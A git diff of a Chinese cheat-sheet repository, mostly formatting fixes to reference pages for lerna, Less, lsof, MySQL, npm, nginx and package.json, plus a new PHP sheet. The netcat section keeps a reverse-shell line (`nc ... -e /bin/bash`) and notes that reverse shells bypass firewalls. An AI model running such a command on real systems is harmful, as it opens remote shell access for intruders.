`--ignore-changes` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--ignore-changes)
`--include-merged-tags` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--include-merged-tags)
### init
@ -424,13 +423,13 @@ lerna la
- 如果不存在 `.gitignore`,则生成一个忽略文件
<!--rehype:className=style-timeline-->
----
---
```shell
$ lerna init --independent
```
----
---
:- | :-
:- | :-
@ -527,7 +526,6 @@ $ lerna diff package-name # 区分一个特定的包
类似于 `lerna changed`,此命令运行 `git diff`
### clean
从所有包中删除 `node_modules` 目录
@ -565,4 +563,4 @@ $ npm i lerna@latest
$ lerna repair
```
[`lerna repair`](https://github.com/lerna/lerna/tree/main/core/lerna/commands/repair#usage) 在升级后最有用,可确保应用新版本 lerna 的任何配置文件更改
[`lerna repair`](https://github.com/lerna/lerna/tree/main/core/lerna/commands/repair#usage) 在升级后最有用,可确保应用新版本 lerna 的任何配置文件更改

View File

@ -72,7 +72,6 @@ $ lessc styles.less styles.css
另见: [混合(Mixin)的更多信息](https://lesscss.org/features/#mixins-feature)
### 嵌套(Nesting)
```css
@ -716,4 +715,4 @@ each(range(4), {
- [Less.js 官网](http://lesscss.org) _(lesscss.org)_
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
- [Stylus 备忘清单](./stylus.md) _(jaywcjlove.github.io)_
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_

View File

@ -78,7 +78,6 @@ $ kill -9 `lsof -t -u apache`
$ kill -9 $(lsof -t -i :8080)
```
### 参数
<!--rehype:wrap-class=row-span-2-->
@ -109,13 +108,12 @@ lsof -p $pid
lsof -i:9981 -P -t -sTCP:LISTEN
```
### 列出打开文件的进程:
### 列出打开文件的进程
```bash
lsof $filename
```
示例
---
@ -219,8 +217,7 @@ migration 2 root txt unknown /proc/2/exe
`NAME` | 打开文件的确切名称
`REG` | 常规文件
另见
---
- [lsof 命令帮助文档](https://jaywcjlove.github.io/linux-command/c/lsof.html) _(jaywcjlove.github.io)_
- [lsof 命令帮助文档](https://jaywcjlove.github.io/linux-command/c/lsof.html) _(jaywcjlove.github.io)_

View File

@ -3,7 +3,6 @@ Markdown 备忘清单
这是 Markdown 语法的快速参考备忘单。
Markdown 快速参考
----
@ -30,7 +29,6 @@ Header 2
--------
```
### 块引用
```markdown
@ -64,6 +62,7 @@ Header 2
+ Item 1
+ Item 2
```
或者**任务**列表
```markdown
@ -132,11 +131,13 @@ ___
### 代码
~~~markdown
```markdown
```javascript
console.log("This is a block code")
```
~~~
```
```markdown
~~~css
@ -144,12 +145,10 @@ console.log("This is a block code")
~~~
```
```markdown
4 空格缩进做一个代码块
```
#### 内联代码
```markdown
@ -246,4 +245,4 @@ Markdown 表格生成器:[tableconvert.com](https://tableconvert.com/)
另见
----
- [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) _(github.com)_
- [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) _(github.com)_

File diff suppressed because it is too large Load Diff

View File

@ -3,7 +3,6 @@ MIME 类型 备忘清单
此备忘单列出了一些常见的 Web MIME 类型。 您可以查看包含所有已注册 MIME 类型的 [IANA/MIME 媒体类型注册表](https://www.iana.org/assignments/media-types/media-types.xhtml)。
入门
----
@ -17,7 +16,6 @@ MIME 类型 备忘清单
- 对于 Internet 上的文件格式或格式内容
<!--rehype:className=style-round-->
MIME 类型列表
--------
@ -26,8 +24,8 @@ MIME 类型列表
扩展名 | MIME 类型(内容类型) | 文件种类
:-|:-|:-
\.aac | audio/aac | AAC 音频
\.abw | application/x\-abiword | AbiWord 文档
\.aac | audio/aac | AAC 音频
\.abw | application/x\-abiword | AbiWord 文档
\.arc | application/x\-freearc | 存档文档(嵌入多个文件)
\.avi | video/x\-msvideo | AVI: 音频视频交错
\.azw | application/vnd\.amazon\.ebook | 亚马逊 Kindle 电子书格式
@ -87,11 +85,11 @@ MIME 类型列表
\.webp | image/webp | WEBP图像
\.woff | font/woff | Web 开放字体格式 (WOFF)
\.woff2 | font/woff2 | Web 开放字体格式 (WOFF)
\.xhtml | application/xhtml\+xml | XHTML
\.xls | application/vnd\.ms\-excel | Microsoft Excel
\.xhtml | application/xhtml\+xml | XHTML
\.xls | application/vnd\.ms\-excel | Microsoft Excel
\.xlsx | application/vnd\.openxmlformats\-officedocument\.spreadsheetml\.sheet | Microsoft Excel (OpenXML)
\.xml | application/xml 如果临时用户不可读(RFC 3023第 3 节) text/xml如果临时用户可读(RFC 3023第 3 节) | XML
\.xul | application/vnd\.mozilla\.xul\+xml | XUL
\.xml | application/xml 如果临时用户不可读(RFC 3023第 3 节) text/xml如果临时用户可读(RFC 3023第 3 节) | XML
\.xul | application/vnd\.mozilla\.xul\+xml | XUL
\.zip | application/zip | ZIP 档案
\.3gp | video/3gpp audio/3gpp 如果它不包含视频 | 3GPP 音视频容器
\.3g2 | video/3gpp2 audio/3gpp2 如果它不包含视频 | 3GPP2 音视频容器
@ -104,4 +102,4 @@ MIME 类型列表
- [iana mime.types](http://www.iana.org/assignments/media-types/media-types.xhtml) _(iana.org)_
- [apache mime.types](http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types) _(svn.apache.org)_
- [nginx mime.types](http://hg.nginx.org/nginx/raw-file/default/conf/mime.types) _(hg.nginx.org)_
- [nginx mime.types](http://hg.nginx.org/nginx/raw-file/default/conf/mime.types) _(hg.nginx.org)_

View File

@ -3,7 +3,6 @@ MySQL 备忘清单
本备忘单旨在快速理解 [MySQL](https://mysql.com) 所涉及的主要概念提供了最常用的SQL语句供您参考。
入门
---
@ -65,9 +64,9 @@ mysql -h <host> -u <user> -p [db_name]
`SHOW TABLES;` | 列出当前数据库的表
`SHOW FIELDS FROM` t`;` | 表的列表字段
`DESC` t`;` | 显示表格结构
`SHOW CREATE TABLE `t`;` | 显示创建表sql
`TRUNCATE TABLE `t`;` | 删除表中的所有数据
`DROP TABLE `t`;` | 删除表格
`SHOW CREATE TABLE`t`;` | 显示创建表sql
`TRUNCATE TABLE`t`;` | 删除表中的所有数据
`DROP TABLE`t`;` | 删除表格
#### Proccess
@ -388,6 +387,7 @@ CREATE TABLE t(
CHECK(c1> 0 AND c1 >= c2)
);
```
c2列中的设置值不为NULL
```sql
@ -556,7 +556,6 @@ DROP INDEX idx_name;
MySQL 数据类型
---------
### Strings
| - | - |
@ -573,16 +572,15 @@ MySQL 数据类型
| `ENUM` | One of preset options |
| `SET` | Selection of preset options |
### Date & time
| Data Type | Format |
|-------------|---------------------|
| `DATE ` | yyyy-MM-dd |
| `TIME ` | hh:mm:ss |
| `DATETIME ` | yyyy-MM-dd hh:mm:ss |
| `DATE` | yyyy-MM-dd |
| `TIME` | hh:mm:ss |
| `DATETIME` | yyyy-MM-dd hh:mm:ss |
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
| `YEAR ` | yyyy |
| `YEAR` | yyyy |
### Numeric
@ -602,4 +600,4 @@ MySQL 数据类型
- [SQL 基础教程](http://www.w3school.com.cn/sql/index.asp) _(w3school.com.cn)_
- [SQL 语句教程](http://www.1keydata.com/cn/sql/sql-count.php) _(1keydata.com)_
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_

View File

@ -18,15 +18,14 @@ $ nc [options] [host] [port]
监听传入连接
```shell
```shell
$ nc -lp port [host] [port]
```
### 选项示例
<!--rehype:wrap-class=col-span-3 row-span-2-->
选项 | 示例 | 说明
选项 | 示例 | 说明
:- | :- | :-
`-h` | nc -h | 帮助
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
@ -40,7 +39,6 @@ $ nc -lp port [host] [port]
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
### 聊天客户端-服务器
<!--rehype:wrap-class=col-span-2-->
@ -228,4 +226,4 @@ $ nc -lv 8000
$ nc 192.168.1.9 8000 -v -e /bin/bash
```
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接

View File

@ -42,7 +42,6 @@ $ netstat -h
`netstat -au` | 所有 UDP 连接
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
选项 | 说明
:- | :-
`netstat` | 活动连接
@ -53,7 +52,6 @@ $ netstat -h
`netstat -tnl` | 监听 TCP 端口
`netstat -unl` | 监听 UDP 端口
### 网络
选项 | 说明
@ -65,7 +63,6 @@ $ netstat -h
### 路由
选项 | 说明
:- | :-
`netstat -r` | 显示路由表

View File

@ -208,7 +208,7 @@ location /folder/ { # / 很重要!
### 反向代理
<!--rehype:wrap-class=row-span-3-->
#### 基础
#### 基础
```nginx
server {
@ -260,7 +260,7 @@ server {
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
}
}
```
@ -313,7 +313,6 @@ server {
您可以使用 Let's Encrypt 轻松保护您的网站/应用程序。去 [lets-encrypt](https://certbot.eff.org/lets-encrypt/ubuntuxenial-nginx.html) 获取更多信息
### 重定向(301永久)
<!--rehype:wrap-class=row-span-2-->
@ -867,4 +866,4 @@ location = /robots.txt {
---
- [Nginx 安装维护入门学习笔记](https://jaywcjlove.github.io/nginx-tutorial) _(jaywcjlove.github.io)_
- [](https://virtubox.github.io/advanced-nginx-cheatsheet/) _(virtubox.github.io)_
- [](https://virtubox.github.io/advanced-nginx-cheatsheet/) _(virtubox.github.io)_

View File

@ -28,18 +28,18 @@ npm 备忘清单
命令 | 描述
:- |:-
`npm i sax` | `NPM`
`npm i sax` | `NPM`
`npm i sax@latest` | 指定标签 `最新`
`npm i sax@3.0.0` | 指定版本 `3.0.0`
`npm i sax@">=1 <2.0"` | 指定版本范围
`npm i @org/sax` | 范围内的 `NPM`
`npm i user/repo` | GitHub
`npm i user/repo#master` | GitHub
`npm i github:user/repo` | GitHub
`npm i gitlab:user/repo` | GitLab
`npm i /path/to/repo` | 绝对路径
`npm i ./archive.tgz` | 压缩包
`npm i https://site.com/archive.tgz` | 通过 `HTTP` 压缩包
`npm i sax@">=1 <2.0"` | 指定版本范围
`npm i @org/sax` | 范围内的 `NPM`
`npm i user/repo` | GitHub
`npm i user/repo#master` | GitHub
`npm i github:user/repo` | GitHub
`npm i gitlab:user/repo` | GitLab
`npm i /path/to/repo` | 绝对路径
`npm i ./archive.tgz` | 压缩包
`npm i https://site.com/archive.tgz` | 通过 `HTTP` 压缩包
<!--rehype:class=auto-wrap-->
安装依赖的可用参数
@ -78,19 +78,17 @@ $ npm cache verify # 验证缓存文件夹的内容,垃圾收集任何不需
### 更新
命令 | 描述
:- | -
命令 | 描述
:- | -
`npm version <version>` | 要更改 `package.json` 中的版本号
`npm update` | 更新生产包
`npm update --dev` | 更新开发包
`npm update -g` | 更新全局包
`npm update lodash` | 更新 `lodash`
### 杂项功能
<!--rehype:wrap-class=row-span-2-->
```bash
# 将某人添加为所有者
$ npm owner add USERNAME PACKAGENAME
@ -168,7 +166,6 @@ $ nrm use cnpm
`$PREFIX/etc/npmrc` | 全局配置文件
`/path/to/npm/npmrc` | npm 内置配置文件
### 配置内容
```ini
@ -180,17 +177,16 @@ $ nrm use cnpm
注释使用 `#`, `;` 放置到一行的开头, [`.npmrc`](https://docs.npmjs.com/cli/v8/configuring-npm/npmrc) 文件由指定此注释语法的 [`npm/ini`](https://github.com/npm/ini) 解析
### registry
:- | :-
:- | :-
`npm` | https://registry.npmjs.org/
`yarn` | https://registry.yarnpkg.com/
`tencent` | https://mirrors.cloud.tencent.com/npm/
`cnpm` | https://r.cnpmjs.org/
`taobao` | https://registry.npmmirror.com/
`npmMirror` | https://skimdb.npmjs.com/registry/
`npm` | <https://registry.npmjs.org/>
`yarn` | <https://registry.yarnpkg.com/>
`tencent` | <https://mirrors.cloud.tencent.com/npm/>
`cnpm` | <https://r.cnpmjs.org/>
`taobao` | <https://registry.npmmirror.com/>
`npmMirror` | <https://skimdb.npmjs.com/registry/>
### `.npmignore`
@ -261,8 +257,38 @@ ELECTRON_BUILDER_BINARIES_MIRROR=https://npmmirror.com/mirrors/electron-builder-
//somewhere.com/another/:_authToken=MYTOKEN2
```
纯 ESM 包
----
### CommonJS 项目移动到 ESM
<!--rehype:wrap-class=col-span-3-->
-`"type": "module"` 添加到您的 [package.json](./package.json.md)
- 将 [package.json](./package.json.md) 中的 `"main": "index.js"` 替换为 `"exports": "./index.js"`
- 将 [package.json](./package.json.md) 中的 `"engines"` 字段更新为 Node.js 14: `"node": ">=14.16"`。(不包括 <red>~~Node.js 12~~</red>,因为它不再受支持)
- 删除 `"use strict"`;来自所有 JavaScript 文件
- 将所有 `require()` / `module.export` 替换为 `import` / `export`
- 仅使用完整的相对文件路径进行导入:`import x from '.';``import x from './index.js';`
- 如果您有 `TypeScript` 类型定义(例如 `index.d.ts`),请将其更新为使用 ESM 导入/导出
- 可选但推荐使用 `node:` 导入[协议](https://nodejs.org/api/esm.html#esm_node_imports)
### TypeScript 项目输出 ESM
<!--rehype:wrap-class=col-span-3-->
- 确保您使用的是 TypeScript 4.7 或更高版本
-`"type": "module"` 添加到您的 [package.json](./package.json.md)
- 将 [package.json](./package.json.md) 中的 `"main": "index.js"` 替换为 `"exports": "./index.js"`
- 将 [package.json](./package.json.md) 中的 `"engines"` 字段更新为 Node.js 14: `"node": ">=14.16"`。 (不包括 <red>~~Node.js 12~~</red>,因为它不再受支持)
-`"module": "node16"`, `"moduleResolution": "node16"` 添加到您的 [tsconfig.json](./typescript.md) ([列子](https://github.com/sindresorhus/tsconfig/blob/main/tsconfig.json))
- 仅使用完整的相对文件路径进行导入:`import x from '.';``import x from './index.js';`
- 删除 `namespace` 使用并改用 `export`
- 可选但推荐使用 `node:` 导入[协议](https://nodejs.org/api/esm.html#esm_node_imports)
- **即使您正在导入 `.ts` 文件,也必须在相对导入中使用 `.js` 扩展名**
阅读[官方 ESM 指南](https://www.typescriptlang.org/docs/handbook/esm-node.html)
另见
----
- [npm 仓库、网站和命令行界面的文档](https://docs.npmjs.com/) _(npmjs.com)_
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_
- [npmmirror 中国镜像站](https://npmmirror.com/) _(npmmirror.com)_

View File

@ -12,6 +12,8 @@ package.json 备忘清单
- [npm 文档](https://docs.npmjs.com/files/package.json) _(npmjs.com)_
- [yarnpkg 文档](https://classic.yarnpkg.com/en/docs/package-json) _(yarnpkg.com)_
- [packages 文档](https://nodejs.org/api/packages.html) _(nodejs.org)_
- [npm 备忘清单(速查表)](./npm.md) _(jaywcjlove.github.io)_
### `name`
@ -21,7 +23,7 @@ package.json 备忘清单
}
```
**规则**
#### 规则
- 必须小于或等于214个字符(包括 `@scope/` 范围包)
- 不能以点(`.`)或下划线(`_`)开头
@ -328,12 +330,100 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
字段由模块作者提供,作为 `JavaScript` 包或组件工具的提示,用于打包模块以供客户端使用。 提案就[在这里](https://github.com/defunctzombie/package-browser-field-spec)。
### `exports`
```json
{
"name": "mod",
"exports":{
".": "./lib/index.js",
"./lib/*": "./lib/*.js"
}
}
```
使用最新的 `exports` 字段导出,可规避 `main` 字段局限性 [具体参考](https://nodejs.org/api/packages.html)
### exports 导出子路径中的模块
```json
{
"name": "mod",
"exports": {
".": "./index.js",
"./sub": "./src/sub.js"
}
}
```
导入
```js
import sub from "mod/sub"
```
### exports 简写 (`.` 唯一的导出)
```json
{
"exports": {
".": "./dist/index.js"
}
}
```
简写
```json
{
"exports": "./dist/index.js"
}
```
### 条件导出(exports)
<!--rehype:wrap-class=col-span-2 row-span-2-->
:- | -
:- | -
`export` | 通过 `import``import()``es` 模块加载的任何顶层导入或解析操作加载时,匹配。
`require` | 当包通过 `require()` 加载时匹配。预期的格式包括 CommonJS、JSON 和本地插件。
`node` | 匹配任何 `Node.js` 环境。可以是 `cjs``es` 模块文件。必须在 `import``require` 之后。
`default` | 默认的降级条件。可以是一个 `cjs``es` 模块文件。这个条件应该总是排在最后。
```js
{
"exports": {
".": {
"import":"./dist/index.mjs",
"require":"./dist/index.cjs", // 当包通过 `require()` 加载时匹配
"node": "./dist/ployfill.js", // 匹配任何 `Node.js` 环境
"default": "./dist/default.js" // 默认的降级条件
}
}
}
```
<red>注意:</red>由于 `require``import` 互斥,所以 `require` 不能加载 `es` 的模块,`export` 不能加载 `cjs` 模块
### `main` Vs `exports`
```json
{
"main": "./index.js",
"exports": "./index.js"
}
```
如果同时出现 <red>~~`main`~~</red>`exports` 字段,只会读取 `exports` 字段
## 任务类字段
包里还可以包含一些可执行脚本或者其他配置信息。
### `scripts`
脚本是定义自动化开发相关任务的好方法,比如使用一些简单的构建过程或开发工具。 在 `scripts` 字段里定义的脚本,可以通过 `yarn run <script>` 命令来执行。 例如,下面 `build-project` 脚本可以通过 `yarn run build-project` 调用,并执行 `node build-project.js`
```json
{
"scripts": {
@ -342,12 +432,14 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
}
```
脚本是定义自动化开发相关任务的好方法,比如使用一些简单的构建过程或开发工具。 在 `scripts` 字段里定义的脚本,可以通过 `yarn run <script>` 命令来执行。 例如,上述 `build-project` 脚本可以通过 `yarn run build-project` 调用,并执行 `node build-project.js`
有一些特殊的脚本名称。 如果定义了 `preinstall` 脚本,它会在包安装前被调用。 出于兼容性考虑,`install``postinstall``prepublish` 脚本会在包完成安装后被调用。
----
`start` 脚本的默认值为 `node server.js`
----
参考文档:[npm docs](https://docs.npmjs.com/files/package.json#default-values)
### 特定的 `scripts`
@ -355,24 +447,24 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
对于以下脚本,`npm` 支持 `package.json` 文件的 `scripts` 默认命令字段:
- `prepublish`: 在打包并发布包之前运行,以及在没有任何参数的本地 `npm` 安装之前运行。 (见下文)
- `prepare`: 在打包和发布包之前运行,在没有任何参数的本地 `npm install` 上运行,以及安装 git 依赖项时(见下文)。 这是在 `preublish` 之后运行,但是在 `preublishOnly` 之前运行
- `prepublishOnly`: 在包准备和打包之前运行仅限于npm发布。 (见下文。)
- `prepublish`: 在打包并发布包之前运行,以及在没有任何参数的本地 `npm` 安装之前运行
- `prepare`: 在打包和发布包之前运行,在没有任何参数的本地 `npm install` 上运行,以及安装 git 依赖项时。 这是在 `preublish` 之后运行,但是在 `preublishOnly` 之前运行
- `prepublishOnly`: 在包准备和打包之前运行仅限于npm发布
- `prepack`: 在打包 `tarball` 之前运行(在 `npm pack``npm publish`,以及安装 git 依赖项时)
- `postpack`: 在生成 `tarball` 之后运行并移动到其最终目标
- `publish`, `postpublish`: 在包发布后运行
- `preinstall`: 在安装软件包之前运行
- `install`, `postinstall`: 安装包后运行
- `preuninstall`, `uninstall`: 在卸载软件包之前运行
- `postuninstall`: 在卸载软件包之后运行
- `preversion`: 在改变包版本之前运行
- `version`: 改变包版本后运行,但提交之前
- `postversion`: 改变包版本后运行,然后提交
- `pretest`, `test`, `posttest`: 由 `npm test` 命令运行
- `prestop`, `stop`, `poststop`: 由 `npm stop` 命令运行
- `prestart`, `start`, `poststart`: 由 `npm start` 命令运行
- `prerestart`, `restart`, `postrestart`: 由 `npm restart` 命令运行。 注意:如果没有提供重启脚本,`npm restart` 将运行 `stop``start` 脚本
- `preshrinkwrap`, `shrinkwrap`, `postshrinkwrap`: 由 `npm shrinkwrap` 命令运行
- `postpack`: 在生成 `tarball` 之后运行并移动到其最终目标
- `publish`, `postpublish`: 在包发布后运行
- `preinstall`: 在安装软件包之前运行
- `install`, `postinstall`: 安装包后运行
- `preuninstall`, `uninstall`: 在卸载软件包之前运行
- `postuninstall`: 在卸载软件包之后运行
- `preversion`: 在改变包版本之前运行
- `version`: 改变包版本后运行,但提交之前
- `postversion`: 改变包版本后运行,然后提交
- `pretest`, `test`, `posttest`: 由 `npm test` 命令运行
- `prestop`, `stop`, `poststop`: 由 `npm stop` 命令运行
- `prestart`, `start`, `poststart`: 由 `npm start` 命令运行
- `prerestart`, `restart`, `postrestart`: 由 `npm restart` 命令运行。 注意:如果没有提供重启脚本,`npm restart` 将运行 `stop``start` 脚本
- `preshrinkwrap`, `shrinkwrap`, `postshrinkwrap`: 由 `npm shrinkwrap` 命令运行
参考文档:[npm docs](https://docs.npmjs.com/misc/scripts).
@ -577,7 +669,6 @@ https://registry.npmjs.org/[包名]/-/[包名]-[version].tgz
此选项指定你的包的操作系统兼容性,它会检查 `process.platform`
### `cpu`
```json
@ -624,6 +715,8 @@ Yarn
### `flat`
<!-- markdownlint-disable MD042 -->
如果你的包只允许给定依赖的一个版本,你想强制和命令行上 [yarn install --flat](#) 相同的行为,把这个值设为 `true`
```json
@ -651,8 +744,11 @@ Yarn
注意,`yarn install --flat` 命令将会自动在 `package.json` 文件里加入 `resolutions` 字段。
另见
----
- [PACKAGE.JSON 中文说明](https://jaywcjlove.github.io/package.json) _(github.io)_
- [PACKAGE.JSON 中文说明](https://jaywcjlove.github.io/package.json) _(github.io)_
- [npm 文档](https://docs.npmjs.com/files/package.json) _(npmjs.com)_
- [yarnpkg 文档](https://classic.yarnpkg.com/en/docs/package-json) _(yarnpkg.com)_
- [packages 文档](https://nodejs.org/api/packages.html) _(nodejs.org)_
- [npm 备忘清单(速查表)](./npm.md) _(jaywcjlove.github.io)_

972
docs/php.md Normal file
View File

@ -0,0 +1,972 @@
PHP 备忘清单
===
这份 [PHP](https://www.php.net/manual/zh/index.php) 备忘单为快速查找最常用代码的正确语法提供了参考
入门
------
### hello.php
```php
<?php // 以 PHP 开放标签开头
echo "Hello World\n";
print("Hello quickref.me");
?>
```
PHP 运行命令
```shell
$ php hello.php
```
### 变量 Variables
```php
$boolean1 = true;
$boolean2 = True;
$int = 12;
$float = 3.1415926;
unset($float); // 删除变量
$str1 = "How are you?";
$str2 = 'Fine, thanks';
```
查看: [Types](#php-类型)
### 字符串 Strings
```php
$url = "quickref.me";
echo "I'm learning PHP at $url";
// 连接字符串
echo "I'm learning PHP at " . $url;
$hello = "Hello, ";
$hello .= "World!";
echo $hello; # => Hello, World!
```
查看: [Strings](#php-字符串)
### 数组 Arrays
```php
$num = [1, 3, 5, 7, 9];
$num[5] = 11;
unset($num[2]); // 删除变量
print_r($num); # => 1 3 7 9 11
echo count($num); # => 5
```
查看: [Arrays](#php-数组)
### 运算符 Operators
```php
$x = 1;
$y = 2;
$sum = $x + $y;
echo $sum; # => 3
```
查看: [Operators](#php-运算符)
### Include
<!--rehype:wrap-class=row-span-3-->
#### vars.php
```php
<?php // 以 PHP 开放标签开头。
$fruit = 'apple';
echo "I was imported";
return 'Anything you like.';
?>
```
#### test.php
```php
<?php
include 'vars.php';
echo $fruit . "\n"; # => apple
/* 与 include 相同,
如果不能包含则导致错误*/
require 'vars.php';
// 也有效
include('vars.php');
require('vars.php');
// 通过 HTTP 包含
include 'http://x.com/file.php';
// 包含和返回语句
$result = include 'vars.php';
echo $result; # => Anything you like.
?>
```
### 功能 Functions
```php
function add($num1, $num2 = 1) {
return $num1 + $num2;
}
echo add(10); # => 11
echo add(10, 5); # => 15
```
查看: [Functions](#php-函数)
### 注释 Comments
```php
# 这是一个单行 shell 样式的注释
// 这是一行 c++ 风格的注释
/* 这是一个多行注释
另一行注释 */
```
### 常数 Constants
```php
const MY_CONST = "hello";
echo MY_CONST; # => hello
# => MY_CONST is: hello
echo 'MY_CONST is: ' . MY_CONST;
```
### 类 Classes
```php
class Student {
public function __construct($name) {
$this->name = $name;
}
}
$alex = new Student("Alex");
```
查看: [Classes](#php-类)
PHP 类型
------
### 布尔值 Boolean
<!--rehype:wrap-class=row-span-2-->
```php
$boolean1 = true;
$boolean2 = TRUE;
$boolean3 = false;
$boolean4 = FALSE;
$boolean5 = (boolean) 1; # => true
$boolean6 = (boolean) 0; # => false
```
布尔值不区分大小写
### 整数 Integer
<!--rehype:wrap-class=row-span-2-->
```php
$int1 = 28; # => 28
$int2 = -32; # => -32
$int3 = 012; # => 10 (octal)
$int4 = 0x0F; # => 15 (hex)
$int5 = 0b101; # => 5 (binary)
# => 2000100000 (decimal, PHP 7.4.0)
$int6 = 2_000_100_000;
```
另见: [Integers](https://www.php.net/manual/en/language.types.integer.php)
### 字符串 Strings
```php
echo 'this is a simple string';
```
查看: [Strings](#php-字符串)
### 数组 Arrays
```php
$arr = array("hello", "world", "!");
```
查看: [Arrays](#php-数组)
### 浮点数 Float (Double)
```php
$float1 = 1.234;
$float2 = 1.2e7;
$float3 = 7E-10;
$float4 = 1_234.567; // as of PHP 7.4.0
var_dump($float4); // float(1234.567)
$float5 = 1 + "10.5"; # => 11.5
$float6 = 1 + "-1.3e3"; # => -1299
```
### Null
```php
$a = null;
$b = 'Hello php!';
echo $a ?? 'a is unset'; # => a is unset
echo $b ?? 'b is unset'; # => Hello php
$a = array();
$a == null # => true
$a === null # => false
is_null($a) # => false
```
### 可迭代对象 Iterables
```php
function bar(): iterable {
return [1, 2, 3];
}
function gen(): iterable {
yield 1;
yield 2;
yield 3;
}
foreach (bar() as $value) {
echo $value; # => 123
}
```
PHP 字符串
------
### 字符串 String
```php
# => '$String'
$sgl_quotes = '$String';
# => 'This is a $String.'
$dbl_quotes = "This is a $sgl_quotes.";
# => a tab character.
$escaped = "a \t tab character.";
# => a slash and a t: \t
$unescaped = 'a slash and a t: \t';
```
### 多行 Multi-line
```php
$str = "foo";
// 未插值的多行
$nowdoc = <<<'END'
Multi line string
$str
END;
// 将执行字符串插值
$heredoc = <<<END
Multi line
$str
END;
```
### 操作 Manipulation
```php
$s = "Hello Phper";
echo strlen($s); # => 11
echo substr($s, 0, 3); # => Hel
echo substr($s, 1); # => ello Phper
echo substr($s, -4, 3);# => hpe
echo strtoupper($s); # => HELLO PHPER
echo strtolower($s); # => hello phper
echo strpos($s, "l"); # => 2
var_dump(strpos($s, "L")); # => false
```
另见: [字符串函数](https://www.php.net/manual/en/ref.strings.php)
PHP 数组
------
### 定义
<!--rehype:wrap-class=row-span-2-->
```php
$a1 = ["hello", "world", "!"]
$a2 = array("hello", "world", "!");
$a3 = explode(",", "apple,pear,peach");
```
#### 混合 int 和 string 键
```php
$array = array(
"foo" => "bar",
"bar" => "foo",
100 => -100,
-100 => 100,
);
var_dump($array);
```
#### 短数组语法
```php
$array = [
"foo" => "bar",
"bar" => "foo",
];
```
### 多阵列
```php
$multiArray = [
[1, 2, 3],
[4, 5, 6],
[7, 8, 9],
];
print_r($multiArray[0][0]) # => 1
print_r($multiArray[0][1]) # => 2
print_r($multiArray[0][2]) # => 3
```
### 多类型
<!--rehype:wrap-class=row-span-2-->
```php
$array = array(
"foo" => "bar",
42 => 24,
"multi" => array(
"dim" => array(
"a" => "foo"
)
)
);
# => string(3) "bar"
var_dump($array["foo"]);
# => int(24)
var_dump($array[42]);
# => string(3) "foo"
var_dump($array["multi"]["dim"]["a"]);
```
### 操作
```php
$arr = array(5 => 1, 12 => 2);
$arr[] = 56; // 附加
$arr["x"] = 42; // 用键添加
sort($arr); // 排序
unset($arr[5]); // 消除
unset($arr); // 移除所有
```
查看: [数组函数](https://www.php.net/manual/en/ref.array.php)
### 索引迭代
```php
$array = array('a', 'b', 'c');
$count = count($array);
for ($i = 0; $i < $count; $i++) {
echo "i:{$i}, v:{$array[$i]}\n";
}
```
### 价值迭代
```php
$colors = array('red', 'blue', 'green');
foreach ($colors as $color) {
echo "Do you like $color?\n";
}
```
### 关键迭代
